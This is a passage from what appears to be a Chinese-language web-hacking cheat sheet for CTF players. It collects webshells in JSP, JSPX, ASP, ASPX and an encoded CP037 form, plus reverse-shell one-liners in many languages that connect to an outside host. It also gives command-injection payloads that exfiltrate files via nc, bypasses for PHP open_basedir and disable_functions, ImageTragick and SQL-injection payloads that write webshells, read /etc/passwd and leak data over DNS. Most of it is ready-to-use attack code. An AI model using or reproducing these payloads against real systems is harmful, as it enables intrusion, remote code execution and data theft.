(效果同 <%Runtime.getRuntime().exec(request.getParameter("i"));%>)

  • JSPX webshell:
<jsp:root xmlns:jsp="http://java.sun.com/JSP/Page"
  version="1.2">
<jsp:directive.page contentType="text/html"/>
<jsp:declaration>
</jsp:declaration>
<jsp:scriptlet>
Runtime.getRuntime().exec(request.getParameter("i"));
</jsp:scriptlet>
<jsp:text>
</jsp:text>
</jsp:root>
  • CP037 webshell:
Lo%C2%A7%C2%94%C2%93@%C2%A5%C2%85%C2%99%C2%A2%C2%89%C2%96%C2%95~%7F%C3%B1K%C3%B0%7F@%C2%85%C2%95%C2%83%C2%96%C2%84%C2%89%C2%95%C2%87~%7F%C2%83%C2%97%C3%B0%C3%B3%C3%B7%7Fon%25L%C2%91%C2%A2%C2%97z%C2%99%C2%96%C2%96%C2%A3@%C2%A7%C2%94%C2%93%C2%95%C2%A2z%C2%91%C2%A2%C2%97~%7F%C2%88%C2%A3%C2%A3%C2%97zaa%C2%91%C2%81%C2%A5%C2%81K%C2%A2%C2%A4%C2%95K%C2%83%C2%96%C2%94a%C3%91%C3%A2%C3%97a%C3%97%C2%81%C2%87%C2%85%7F%25@@%C2%A5%C2%85%C2%99%C2%A2%C2%89%C2%96%C2%95~%7F%C3%B1K%C3%B2%7Fn%25L%C2%91%C2%A2%C2%97z%C2%84%C2%89%C2%99%C2%85%C2%83%C2%A3%C2%89%C2%A5%C2%85K%C2%97%C2%81%C2%87%C2%85@%C2%83%C2%96%C2%95%C2%A3%C2%85%C2%95%C2%A3%C3%A3%C2%A8%C2%97%C2%85~%7F%C2%A3%C2%85%C2%A7%C2%A3a%C2%88%C2%A3%C2%94%C2%93%7Fan%25L%C2%91%C2%A2%C2%97z%C2%84%C2%85%C2%83%C2%93%C2%81%C2%99%C2%81%C2%A3%C2%89%C2%96%C2%95n%25La%C2%91%C2%A2%C2%97z%C2%84%C2%85%C2%83%C2%93%C2%81%C2%99%C2%81%C2%A3%C2%89%C2%96%C2%95n%25L%C2%91%C2%A2%C2%97z%C2%A2%C2%83%C2%99%C2%89%C2%97%C2%A3%C2%93%C2%85%C2%A3n%25%C3%99%C2%A4%C2%95%C2%A3%C2%89%C2%94%C2%85K%C2%87%C2%85%C2%A3%C3%99%C2%A4%C2%95%C2%A3%C2%89%C2%94%C2%85M%5DK%C2%85%C2%A7%C2%85%C2%83M%C2%99%C2%85%C2%98%C2%A4%C2%85%C2%A2%C2%A3K%C2%87%C2%85%C2%A3%C3%97%C2%81%C2%99%C2%81%C2%94%C2%85%C2%A3%C2%85%C2%99M%7F%C2%89%7F%5D%5D%5E%25La%C2%91%C2%A2%C2%97z%C2%A2%C2%83%C2%99%C2%89%C2%97%C2%A3%C2%93%C2%85%C2%A3n%25L%C2%91%C2%A2%C2%97z%C2%A3%C2%85%C2%A7%C2%A3n%25La%C2%91%C2%A2%C2%97z%C2%A3%C2%85%C2%A7%C2%A3n%25La%C2%91%C2%A2%C2%97z%C2%99%C2%96%C2%96%C2%A3n%25

(效果同上 JSPX webshell: Runtime.getRuntime().exec(request.getParameter("i"));)

  • EL webshell:
${Runtime.getRuntime().exec("touch /tmp/pwned")}

ASP Webshell

<%eval request("kaibro")%>

<%execute request("kaibro")%>

<%ExecuteGlobal request("kaibro")%>

<%response.write CreateObject("WScript.Shell").Exec(Request.QueryString("cmd")).StdOut.Readall()%>

ASPX Webshell

  • 一般:
<%@ Page Language="Jscript"%><%eval(Request.Item["kaibro"],"unsafe");%>
  • 上傳:
<%if (Request.Files.Count!=0){Request.Files[0].SaveAs(Server.MapPath(Request["f"]));}%>

Reverse Shell

  • 本機Listen Port

    • ncat -vl 5566

  • Perl

    • perl -e 'use Socket;$i="kaibro.tw";$p=5566;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

  • Bash

    • bash -i >& /dev/tcp/kaibro.tw/5566 0>&1
    • bash -c 'bash -i >& /dev/tcp/kaibro.tw/5566 0>&1'
    • 0<&196;exec 196<>/dev/tcp/kaibro.tw/5566; sh <&196 >&196 2>&196

  • PHP

    • php -r '$sock=fsockopen("kaibro.tw",5566);exec("/bin/sh -i <&3 >&3 2>&3");'

  • NC

    • nc -e /bin/sh kaibro.tw 5566

  • Telnet

    • mknod backpipe p && telnet kaibro.tw 5566 0<backpipe | /bin/bash 1>backpipe

  • Python

    • python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("kaibro.tw",5566));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

  • Ruby

    • ruby -rsocket -e 'exit if fork;c=TCPSocket.new("kaibro.tw","5566");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'

  • Node.js

    • var net = require("net"), sh = require("child_process").exec("/bin/bash"); var client = new net.Socket(); client.connect(5566, "kaibro.tw", function(){client.pipe(sh.stdin);sh.stdout.pipe(client); sh.stderr.pipe(client);});
    • require('child_process').exec("bash -c 'bash -i >& /dev/tcp/kaibro.tw/5566 0>&1'");

  • Java

    • Runtime r = Runtime.getRuntime();Process p = r.exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/kaibro.tw/5278;cat <&5 | while read line; do $line 2>&5 >&5; done"});p.waitFor();
    • java.lang.Runtime.exec() payload generator: http://www.jackson-t.ca/runtime-exec-payloads.html

  • Powershell

    • powershell IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/besimorhino/powercat/master/powercat.ps1');powercat -c kaibro.tw -p 5566 -e cmd

PHP Tag

  • <? ?>
    • short_open_tag 決定是否可使用短標記
    • 或是編譯php時 --enable-short-tags
  • <?=
    • 等價 <? echo
    • 自PHP 5.4.0起，always work!
  • <% %>、<%=
    • 自PHP 7.0.0起，被移除
    • 須將asp_tags設成On
  • <script language="php"
    • 自PHP 7.0.0起，被移除
    • <script language="php">system("id"); </script>

PHP Weak Type

  • var_dump('0xABCdef' == ' 0xABCdef');

    • true (Output for hhvm-3.18.5 - 3.22.0, 7.0.0 - 7.2.0rc4: false)

  • var_dump('0010e2' == '1e3’);

    • true

  • strcmp([],[])

    • 0

  • sha1([])

    • NULL

  • '123' == 123

  • 'abc' == 0

  • '123a' == 123

  • '0x01' == 1

    • PHP 7.0 後，16 進位字串不再當成數字
    • e.g var_dump('0x01' == 1) => false

  • '' == 0 == false == NULL

  • md5([1,2,3]) == md5([4,5,6]) == NULL

    • 可用在登入繞過 (用戶不存在，則 password 為 NULL)

  • var_dump(md5(240610708));

    • 0e462097431906509019562988736854

  • var_dump(sha1(10932435112));

    • 0e07766915004133176347055865026311692244

  • $a="123"; $b="456"

    • $a + $b == "579";
    • $a . $b == "123456"

  • $a = 0; $b = 'x';

    • $a == false => true
    • $a == $b => true
    • $b == true => true

  • $a = 'a'

    • ++$a => 'b'
    • $a+1 => 1

PHP 其他特性

Overflow

  • 32位元
    • intval('1000000000000') => 2147483647
  • 64位元
    • intval('100000000000000000000') => 9223372036854775807

浮點數精度

  • php -r "var_dump(1.000000000000001 == 1);"

    • false

  • php -r "var_dump(1.0000000000000001 == 1);"

    • true

  • $a = 0.1 * 0.1; var_dump($a == 0.01);

    • false

ereg會被NULL截斷

  • var_dump(ereg("^[a-zA-Z0-9]+$", "1234\x00-!@#%"));
    • 1
  • ereg 和 eregi 在 PHP 7.0.0 已經被移除

intval

  • 四捨五入
    • var_dump(intval('5278.8787'));
      • 5278
  • intval(012) => 10
  • intval("012") => 12

extract變數覆蓋

  • extract($_GET);
    • .php?_SESSION[name]=admin
    • echo $_SESSION['name'] => 'admin'

trim

  • 會把字串前後的空白(或其他字元)去掉
  • 未指定第二參數，預設會去掉以下字元
    • " " (0x20)
    • "\t" (0x09)
    • "\n" (0x0A)
    • "\x0B" (0x0B)
    • "\r" (0x0D)
    • "\0" (0x00)
  • 可以發現預設不包含 "\f" (0x0C)
    • 比較：is_numeric() 允許 \f 在開頭
  • 如果參數是 unset 或空的變數，回傳值是空字串

is_numeric

  • is_numeric(" \t\r\n 123") => true

  • is_numeric(' 87') => true

  • is_numeric('87 ') => false

  • is_numeric(' 87 ') => false

  • is_numeric('0xdeadbeef')

    • PHP >= 7.0.0 => false
    • PHP < 7.0.0 => true
    • 可以拿來繞過注入

  • 以下亦為合法(返回 True)字串:

    • ' -.0'
    • '0.'
    • ' +2.1e5'
    • ' -1.5E+25'
    • '1.e5'

in_array

  • in_array('5 or 1=1', array(1, 2, 3, 4, 5))
    • true
  • in_array('kaibro', array(0, 1, 2))
    • true
  • in_array(array(), array('kai'=>false))
    • true
  • in_array(array(), array('kai'=>null))
    • true
  • in_array(array(), array('kai'=>0))
    • false
  • in_array(array(), array('kai'=>'bro'))
    • false
  • in_array('kai', array('kai'=>true))
    • true
  • in_array('kai', array('kai'=>'bro'))
    • false
  • in_array('kai', array('kai'=>0))
    • true
  • in_array('kai', array('kai'=>1))
    • false

array_search

  • mixed array_search(mixed $needle , array $haystack [, bool $strict = false ])
    • 在 haystack 陣列中，搜尋 needle 的值，成功則返回 index，失敗返回 False
  • $strict 為 false 時，採用不嚴格比較
    • 預設是 False
  • Example
    • $arr=array(1,2,0); var_dump(array_search('kai', $arr))
      • int(2)
    • $arr=array(1,2,0); var_dump(array_search('1', $arr))
      • int(0)

parse_str

  • parse_str(string, array)

  • 會把查詢字串解析到變數中

  • 如果未設置第二個參數，會解析到同名變數中

    • PHP7.2 中不設置第二個參數會產生E_DEPRECATED警告

  • parse_str('gg[kaibro]=5566');

    array(1) {
  ["kaibro"]=>
    string(4) "5566"
}

  • PHP 變數有空格和.，會被轉成底線

    parse_str("na.me=kaibro&pass wd=ggininder",$test);
var_dump($test);

array(2) { 
    ["na_me"]=> string(6) "kaibro" 
    ["pass_wd"]=> string(9) "ggininder" 
}

parse_url

  • 在處理傳入的 URL 會有問題

  • parse_url('/a.php?id=1')

    array(2) {
  ["host"]=>
    string(5) "a.php"
  ["query"]=>
    string(4) "id=1"
}

  • parse_url('//a/b')

    • host: a

  • parse_url('..//a/b/c:80')

    • host: ..
    • port: 80
    • path: //a/b/c:80

  • parse_url('///a.php?id=1')

    • false

  • parse_url('/a.php?id=1:80')

    • PHP < 7.0.0
      • false
    • PHP >= 7.0.0 
        array(2) { 
      ["path"]=> string(6) "/a.php" 
      ["query"]=> string(7) "id=1:80" 
  }

  • parse_url('http://kaibro.tw:87878')

    • 5.3.X版本以下 
      array(3) { 
    ["scheme"]=> string(4) "http" 
    ["host"]=> string(9) "kaibro.tw" 
    ["port"]=> int(22342) 
}
    • 其他： false

preg_replace

  • mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
    • 搜尋 $subject 中匹配的 $pattern，並用 $replacement 替換
  • 第一個參數用 /e 修飾符，$replacement 會被當成 PHP code 執行
    • 必須有匹配到才會執行
    • PHP 5.5.0 起，會產生 E_DEPRECATED 錯誤
    • PHP 7.0.0 不再支援，用 preg_replace_callback() 代替

example:

<?php
$a='phpkaibro';
echo preg_replace('/(.*)kaibro/e','\\1info()',$a);

sprintf / vprintf

  • 對格式化字串的類型沒檢查
  • 格式化字串中 % 後面的字元(除了 % 之外)會被當成字串類型吃掉
    • 例如 %\、%'、%1$\'
    • 在某些 SQLi 過濾狀況下，%' and 1=1# 中的單引號會被轉義成 \'，%\ 又會被吃掉，' 成功逃逸
    • 原理：sprintf 實作是用 switch...case...
      • 碰到未知類型，default 不處理

file_put_contents

  • 第二個參數如果是陣列，PHP會把它串接成字串
  • example: 
    <?php
$test = $_GET['txt'];
if(preg_match('[<>?]', $test)) die('bye');
file_put_contents('output', $test);
    • 可以直接?txt[]=<?php phpinfo(); ?>寫入

spl_autoload_register

  • spl_autoload_register() 可以自動載入 Class
  • 不指定參數，會自動載入 .inc 和 .php
  • Example:
    • 如果目錄下有 kaibro.inc，且內容為 class Kaibro{...}
    • 則 spl_autoload_register() 會把這個 Class 載入進來

路徑正規化

  • a.php/.
    • file_put_contents("a.php/.", "<?php phpinfo() ?>");
      • 可成功寫入
        • 經測試 Windows 可以覆寫、Linux 無法
      • 可以繞過一些正規表達式判斷
    • file_get_contents("a.php/.");
      • 經測試 Windows 下可成功讀、Linux 無法
    • 還有很多其他 function 也適用
  • " => .
    • a"php
  • > => ?
    • a.p>p
    • a.>>>
  • < => *
    • a.<

URL query decode

  • $_GET 會對傳入的參數做 URLdecode 再返回
  • $_SERVER['REQUEST_URI'] 和 $_SERVER['QUERY_STRING'] 則是直接返回

Example:

Request: http://kaibro.tw/test.php?url=%67%67

  • $_GET: [url] => gg

  • $_SERVER['REQUEST_URI']: /test.php?url=%67%67

  • $_SERVER['QUERY_STRING']: url=%67%67

OPcache

  • 透過將 PHP 腳本編譯成 Byte code 的方式做 Cache 來提升性能

  • 相關設定在 php.ini 中

    • opcache.enable 是否啟用
    • opcache.file_cache 設定 cache 目錄
      • 例如:opcache.file_cache="/tmp/opcache"
      • /var/www/index.php 的暫存會放在 /tmp/opcache/[system_id]/var/www/index.php.bin
    • opcache.file_cache_only 設定 cache 文件優先級
    • opcache.validate_timestamps 是否啟用 timestamp 驗證

  • system_id 是透過 Zend 和 PHP 版本號計算出來的，可以確保相容性

  • 所以在某些條件下可透過上傳覆蓋暫存文件來寫 webshell

    • system_id 要和目標機器一樣
    • timestamp 要一致

  • https://github.com/GoSecure/php7-opcache-override

    • Disassembler 可以把 Byte code 轉成 Pseudo code

  • Example

PCRE回溯次數限制繞過

  • PHP 的 PCRE 庫使用 NFA 作為正規表達式引擎
    • NFA 在匹配不上時，會回溯嘗試其他狀態
  • PHP 為防止 DOS，設定了 PCRE 回溯次數上限
    • pcre.backtrack_limit
    • 預設為 1000000
  • 回溯次數超過上限時，preg_match() 會返回 false
  • Example

open_basedir繞過

  • glob 列目錄
$file_list = array();
$it = new DirectoryIterator("glob:///*");
foreach($it as $f) {  
    $file_list[] = $f->__toString();
}
sort($file_list);  
foreach($file_list as $f){  
    echo "{$f}<br/>";
}
chdir('img');
ini_set('open_basedir','..');
chdir('..');chdir('..');
chdir('..');chdir('..');
ini_set('open_basedir','/');
echo(file_get_contents('flag'));
  • symlinks
mkdir('/var/www/html/a/b/c/d/e/f/g/',0777,TRUE);
symlink('/var/www/html/a/b/c/d/e/f/g','foo');
ini_set('open_basedir','/var/www/html:bar/');
symlink('foo/../../../../../../','bar');
unlink('foo');
symlink('/var/www/html/','foo');
echo file_get_contents('bar/etc/passwd');

disable_functions繞過

  • bash shellshock

  • mail()

  • mb_send_mail()

    • 跟 mail() 基本上一樣

  • imap_mail()

    • 同上

  • imap_open()

    <?php
$payload = "echo hello|tee /tmp/executed";
$encoded_payload = base64_encode($payload);
$server = "any -o ProxyCommand=echo\t".$encoded_payload."|base64\t-d|bash";
@imap_open('{'.$server.'}:143/imap}INBOX', '', '');

  • error_log()

    • 第二個參數 message_type 為 1 時，會去調用 sendmail

  • ImageMagick

    • Command Injection

    • LD_PRELOAD + ghostscript:

      • Imagemagick 會用 ghostscript去parse eps
      • Link

    • LD_PRELOAD + ffpmeg

    • MAGICK_CODER_MODULE_PATH

      • it can permits the user to arbitrarily extend the image formats supported by ImageMagick by adding loadable coder modules from an preferred location rather than copying them into the ImageMagick installation directory

      • Document
      • Link

    • MAGICK_CONFIGURE_PATH

      • delegates.xml 定義處理各種文件的規則
      • 可以用 putenv 寫掉設定檔路徑
      • Link
      <delegatemap>
<delegate decode="ps:alpha" command="sh -c &quot;/readflag > /tmp/output&quot;"/>
</delegatemap>

    • 蓋PATH + ghostscript:

      • 造一個執行檔 gs
      #include <stdlib.h>
#include <string.h>
int main() {
    unsetenv("PATH");
    const char* cmd = getenv("CMD");
    system(cmd);
    return 0;
}
      putenv('PATH=/tmp/mydir');
putenv('CMD=/readflag > /tmp/mydir/output');
chmod('/tmp/mydir/gs','0777');
$img = new Imagick('/tmp/mydir/1.ept');

  • dl()

    • 載入 module
    • dl("rce.so")
    • This function was removed from most SAPIs in PHP 5.3.0, and was removed from PHP-FPM in PHP 7.0.0.

  • FFI

  • FastCGI Extension

  • Windows COM

    • 條件
      • com.allow_dcom = true
      • extension=php_com_dotnet.dll
    • PoC:
    <?php
$command = $_GET['cmd'];
$wsh = new COM('WScript.shell'); // Shell.Application 也可
$exec = $wsh->exec("cmd /c".$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;

  • iconv

  • l3mon/Bypass_Disable_functions_Shell

  • JSON UAF Bypass

    • 7.1 - all versions to date
    • 7.2 < 7.2.19 (released: 30 May 2019)
    • 7.3 < 7.3.6 (released: 30 May 2019)

  • GC Bypass

    • 7.0 - all versions to date
    • 7.1 - all versions to date
    • 7.2 - all versions to date
    • 7.3 - all versions to date

  • Backtrace Bypass

    • 7.0 - all versions to date
    • 7.1 - all versions to date
    • 7.2 - all versions to date
    • 7.3 - all versions to date
    • 7.4 - all versions to date

  • PHP SplDoublyLinkedList UAF Sandbox Escape

  • 族繁不及備載......

其他

  • 大小寫不敏感

    • <?PhP sYstEm(ls);

  • echo (true ? 'a' : false ? 'b' : 'c');

    • b

  • echo `whoami`;

    • kaibro

  • 正規表達式 . 不匹配換行字元 %0a

  • 正規表達式常見誤用:

    • preg_match("/\\/", $str)
    • 匹配反斜線應該要用 \\\\ 而不是 \\

  • 運算優先權問題

    • $a = true && false;
      • $a => false
    • $a = true and false;
      • $a => true

  • chr()

    • 大於 256 會 mod 256
    • 小於 0 會加上 256 的倍數，直到 >0
    • Example:
      • chr(259) === chr(3)
      • chr(-87) === chr(169)

  • 遞增

    • $a="9D9"; var_dump(++$a);
      • string(3) "9E0"
    • $a="9E0"; var_dump(++$a);
      • float(10)

  • 算數運算繞Filter

    • %f3%f9%f3%f4%e5%ed & %7f%7f%7f%7f%7f%7f
      • system
      • 可用在限制不能出現英數字時 or 過濾某些特殊符號
    • $_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`');
      • assert
    • 其他
      • ~, ++等運算，也都可用類似概念構造

  • 花括號

    • 陣列、字串元素存取可用花括號
    • $array{index} 同 $array[index]

  • filter_var

    • filter_var('http://evil.com;google.com', FILTER_VALIDATE_URL)
      • False
    • filter_var('0://evil.com;google.com', FILTER_VALIDATE_URL)
      • True
    • filter_var('"aaaaa{}[]()\'|!#$%*&^-_=+`,."@b.c',FILTER_VALIDATE_EMAIL)
      • "aaaaa{}[]()'|!#$%*&^-_=+,."@b.c` (OK)
    • filter_var('aaa."bbb"@b.c',FILTER_VALIDATE_EMAIL)
      • aaa."bbb"@b.c (OK)
    • filter_var('aaa"bbb"@b.c',FILTER_VALIDATE_EMAIL)
      • False

  • json_decode

    • 不直接吃換行字元和 \t 字元
    • 但可以吃 '\n' 和 '\t'
      • 會轉成換行字元和 Tab
    • 也吃\uxxxx形式
      • json_decode('{"a":"\u0041"}')

  • === bug

    • var_dump([0 => 0] === [0x100000000 => 0])
      • 某些版本會是 True
      • ASIS 2018 Qual Nice Code
    • https://3v4l.org/sUEMG

  • openssl_verify

  • Namespace

    • PHP 的預設 Global space 是 \
    • e.g. \system('ls');

  • basename (php bug 62119)

  • strip_tags (php bug 78814)

Command Injection

| cat flag
&& cat flag
; cat flag
%0a cat flag
"; cat flag
`cat flag`
cat $(ls)
"; cat $(ls)
`cat flag | nc kaibro.tw 5278`

. flag
PS1=$(cat flag)

`echo${IFS}${PATH}|cut${IFS}-c1-1`
=> /

? and *

  • ? match one character
    • cat fl?g
    • /???/??t /???/p??s??
  • * match 多個
    • cat f*
    • cat f?a*

空白繞過

  • ${IFS}
    • cat${IFS}flag
    • ls$IFS-alh
    • cat$IFS$2flag
  • cat</etc/passwd
  • {cat,/etc/passwd}
  • X=$'cat\x20/etc/passwd'&&$X
  • IFS=,;`cat<<<uname,-a`
    • bash only

Keyword繞過

  • String Concat

    • A=fl;B=ag;cat $A$B

  • Empty Variable

    • cat fl${x}ag
    • cat tes$(z)t/flag

  • Environment Variable

    • $PATH => "/usr/local/….blablabla”
      • ${PATH:0:1} => '/'
      • ${PATH:1:1} => 'u'
      • ${PATH:0:4} => '/usr'
    • ${PS2}
      • >
    • ${PS4}
      • +

  • Empty String

    • cat fl""ag
    • cat fl''ag
      • cat "fl""ag"

  • 反斜線

    • c\at fl\ag

ImageMagick (ImageTragick)

  • CVE-2016-3714
  • mvg 格式包含 https 處理(使用 curl 下載)，可以閉合雙引號
  • payload:
push graphic-context
viewbox 0 0 640 480
fill 'url(https://kaibro.tw";ls "-la)'
pop graphic-context

Ruby Command Executing

  • open("| ls")
  • IO.popen("ls").read
  • Kernel.exec("ls")
  • `ls`
  • system("ls")
  • eval("ruby code")
  • exec("ls")
  • %x{ls}
  • Net::FTP
    • CVE-2017-17405
    • use Kernel#open

Python Command Executing

  • os.system("ls")
  • os.popen("ls").read()
  • os.execl("/bin/ls","")
  • os.execlp("ls","")
  • os.execv("/bin/ls",[''])
  • os.execvp("/bin/ls",[""])
  • subprocess.call("ls")
    • subprocess.call("ls|cat",shell=False) => Fail
    • subprocess.call("ls|cat",shell=True) => Correct
  • eval("__import__('os').system('ls')")
  • exec("__import__('os').system('ls')")
  • commands.getoutput('ls')

Read File

  • diff /etc/passwd /flag
  • paste /flag
  • bzmore /flag
  • bzless /flag
  • static-sh /flag
  • ...

SQL Injection

MySQL

  • 子字串：

    • substr("abc",1,1) => 'a'
    • mid("abc", 1, 1) => 'a'

  • Ascii function

    • ascii('A') => 65

  • Char function

    • char(65) => 'a'

  • Concatenation

    • CONCAT('a', 'b') => 'ab'
      • 如果任何一欄為 NULL，則返回 NULL
    • CONCAT_WS(分隔符, 字串1, 字串2...)
      • CONCAT_WS('@', 'gg', 'inin') => gg@inin

  • Cast function

    • CAST('125e342.83' AS signed) => 125
    • CONVERT('23',SIGNED) => 23

  • Delay function

    • sleep(5)
    • BENCHMARK(count, expr)

  • 空白字元

    • 09 0A 0B 0C 0D A0 20

  • File-read function

    • LOAD_FILE('/etc/passwd')
    • LOAD DATA INFILE
      • Client 讀 Server 文件
      • 一樣受 secure_file_priv, FILE privilege 限制 (ref: link)
    • LOAD DATA LOCAL INFILE

  • File-write

    • INTO DUMPFILE
      • 適用 binary (寫入同一行)
    • INTO OUTFILE
      • 適用一般文本 (有換行)
    • 寫webshell
      • 需知道可寫路徑
      • UNION SELECT "<? system($_GET[1]);?>",2,3 INTO OUTFILE "/var/www/html/temp/shell.php"
    • 權限
      • SELECT file_priv FROM mysql.user
    • secure-file-priv
      • 限制 MySQL 導入導出
        • load_file, into outfile, load data 等
      • 運行時無法更改
      • MySQL 5.5.53 前，該變數預設為空(可以導入導出)
      • e.g. secure_file_priv=E:\
        • 限制導入導出只能在 E:\ 下
      • e.g. secure_file_priv=null
        • 限制不允許導入導出
      • secure-file-priv 限制下用 general_log 拿 shell
      SET global general_log='on';

SET global general_log_file='C:/phpStudy/WWW/cmd.php';

SELECT '<?php assert($_POST["cmd"]);?>';

  • IF語句

    • IF(condition,true-part,false-part)
    • SELECT IF (1=1,'true','false')

  • Hex

    • SELECT X'5061756c'; => paul
    • SELECT 0x5061756c; => paul
    • SELECT 0x5061756c+0 => 1348564332
    • SELECT load_file(0x2F6574632F706173737764);
      • /etc/passwd
    • 可繞過一些 WAF
      • e.g. 用在不能使用單引號時(' => \')
      • CHAR() 也可以達到類似效果
        • 'admin' => CHAR(97, 100, 109, 105, 110)

  • 註解：

    • #
    • --
    • /**/
      • 一個 */ 可以閉合前面多個 /*
    • /*! 50001 select * from test */
      • 可探測版本
      • e.g. SELECT /*!32302 1/0, */ 1 FROM tablename
    • `
      • MySQL <= 5.5
    • ;
      • PDO 支援多語句

  • information_schema

    • mysql >= 5.0

  • Stacking Query

    • 預設 PHP+MySQL 不支援 Stacking Query
    • 但 PDO 可以 Stacking Query

  • 其它：

    • @@version
      • 同 version()
    • user()
      • current_user
      • current_user()
      • SESSION_USER()
      • SYSTEM_USER()
      • current user
    • system_user()
      • database system user
    • database()
      • schema()
      • current database
    • @@basedir
      • MySQL 安裝路徑
    • @@datadir
      • Location of db file
    • @@plugin_dir
    • @@hostname
    • @@version_compile_os
      • Operating System
    • @@version_compile_machine
    • @@innodb_version
    • MD5()
    • SHA1()
    • COMPRESS() / UNCOMPRESS()
    • group_concat()
      • 合併多條結果
        • e.g. select group_concat(username) from users; 一次返回所有使用者名
      • group_concat_max_len = 1024 (default)
    • json_arrayagg()
      • MySQL >= 5.7.22
      • 概念同上
        • e.g. SELECT json_arrayagg(concat_ws(0x3a,table_schema,table_name)) from INFORMATION_SCHEMA.TABLES
    • greatest()
      • greatest(a, b)返回 a, b 中最大的
      • greatest(1, 2)=2
        • 1
      • greatest(1, 2)=1
        • 0
    • between a and b
      • 介於 a 到 b 之間
      • greatest(1, 2) between 1 and 3
        • 1
    • regexp
      • SELECT 'abc' regexp '.*'
        • 1
    • Collation
      • *_ci case insensitive collation 不區分大小寫
      • *_cs case sensitive collation 區分大小寫
      • *_bin binary case sensitive collation 區分大小寫

  • Union Based

    • 判斷 column 數
      • union select 1,2,3...N
      • order by N 找最後一個成功的 N
    • AND 1=2 UNION SELECT 1, 2, password FROM admin--+
    • LIMIT N, M 跳過前 N 筆，抓 M 筆
    • 爆資料庫名
      • union select 1,2,schema_name from information_schema.schemata limit 1,1
    • 爆表名
      • union select 1,2,table_name from information_schema.tables where table_schema='mydb' limit 0,1
      • union select 1,2,table_name from information_schema.columns where table_schema='mydb' limit 0,1
    • 爆Column名
      • union select 1,2,column_name from information_schema.columns where table_schema='mydb' limit 0,1
    • MySQL User
      • SELECT CONCAT(user, ":" ,password) FROM mysql.user;

  • Error Based

    • 長度限制
      • 錯誤訊息有長度限制
      • #define ERRMSGSIZE (512)
    • Overflow
      • MySQL > 5.5.5 overflow 才會有錯誤訊息
      • SELECT ~0 => 18446744073709551615
      • SELECT ~0 + 1 => ERROR
      • SELECT exp(709) => 8.218407461554972e307
      • SELECT exp(710) => ERROR
      • 若查詢成功，會返回0
        • SELECT exp(~(SELECT * FROM (SELECT user())x));
        • ERROR 1690(22003):DOUBLE value is out of range in 'exp(~((SELECT 'root@localhost' FROM dual)))'
      • select (select(!x-~0)from(select(select user())x)a);
        • ERROR 1690 (22003): BIGINT UNSIGNED value is out of range in '((not('root@localhost')) - ~(0))'
        • MySQL > 5.5.53 不會顯示查詢結果
    • xpath
      • extractvalue (有長度限制，32位)
        • select extractvalue(1,concat(0x7e,(select @@version),0x7e));
        • ERROR 1105 (HY000): XPATH syntax error: '~5.7.17~'
      • updatexml (有長度限制，32位)
        • select updatexml(1,concat(0x7e,(select @@version),0x7e),1);
        • ERROR 1105 (HY000): XPATH syntax error: '~5.7.17~'
    • 主鍵重複
      • select count(*) from test group by concat(version(),floor(rand(0)*2));
        • ERROR 1062 (23000): Duplicate entry '5.7.171' for key '<group_key>'
    • 其它函數 (5.7)
      • select ST_LatFromGeoHash(version());
      • select ST_LongFromGeoHash(version());
      • select GTID_SUBSET(version(),1);
      • select GTID_SUBTRACT(version(),1);
      • select ST_PointFromGeoHash(version(),1);
    • 爆庫名、表名、字段名
      • 當過濾 information_schema 等關鍵字時，可以用下面方法爆庫名
        • select 1,2,3 from users where 1=abc();
          • ERROR 1305 (42000): FUNCTION fl4g.abc does not exist
      • 爆表名
        • select 1,2,3 from users where Polygon(id);
        • select 1,2,3 from users where linestring(id);
          • ERROR 1367 (22007): Illegal non geometric '`fl4g`.`users`.`id`' value found during parsing
      • 爆Column
        • select 1,2,3 from users where (select * from (select * from users as a join users as b)as c);
          • ERROR 1060 (42S21): Duplicate column name 'id'
        • select 1,2,3 from users where (select * from (select * from users as a join users as b using(id))as c);
          • ERROR 1060 (42S21): Duplicate column name 'username'

  • Blind Based (Time/Boolean)

    • Boolean
      • 「有」跟「沒有」
      • id=87 and length(user())>0
      • id=87 and length(user())>100
      • id=87 and ascii(mid(user(),1,1))>100
      • id=87 or ((select user()) regexp binary '^[a-z]')
    • Time
      • 用在啥結果都看不到時
      • id=87 and if(length(user())>0, sleep(10), 1)=1
      • id=87 and if(length(user())>100, sleep(10), 1)=1
      • id=87 and if(ascii(mid(user(),1,1))>100, sleep(10), 1)=1

  • Out of Bnad

    • Windows only
    • select load_file(concat("\\\\",schema_name,".dns.kaibro.tw/a")) from information_schema.schemata

  • 繞過空白檢查

    • id=-1/**/UNION/**/SELECT/**/1,2,3
    • id=-1%09UNION%0DSELECT%0A1,2,3
    • id=(-1)UNION(SELECT(1),2,3)

  • 寬字節注入

    • addslashes() 會讓 ' 變 \'
    • 在 GBK 編碼中，中文字用兩個 Bytes 表示
      • 其他多字節編碼也可
      • 但要低位範圍有包含 0x5c(\)
    • 第一個 Byte 要 >128 才是中文
    • %df' => %df\' => 運' (成功逃逸)

  • Order by注入

    • 可以透過 asc、desc 簡單判斷
      • ?sort=1 asc
      • ?sort=1 desc
    • 後面不能接 UNION
    • 已知字段名 (可以盲注)
      • ?order=IF(1=1, username, password)
    • 利用報錯
      • ?order=IF(1=1,1,(select 1 union select 2)) 正確
      • ?order=IF(1=2,1,(select 1 union select 2)) 錯誤
      • ?order=IF(1=1,1,(select 1 from information_schema.tables)) 正常
      • ?order=IF(1=2,1,(select 1 from information_schema.tables)) 錯誤
    • Time Based
      • ?order=if(1=1,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test)) 正常
      • ?order=if(1=2,1,(SELECT(1)FROM(SELECT(SLEEP(2)))test)) sleep 2秒

  • group by with rollup

    • ' or 1=1 group by pwd with rollup limit 1 offset 2#

  • 將字串轉成純數字

    • 字串 -> 16進位 -> 10進位
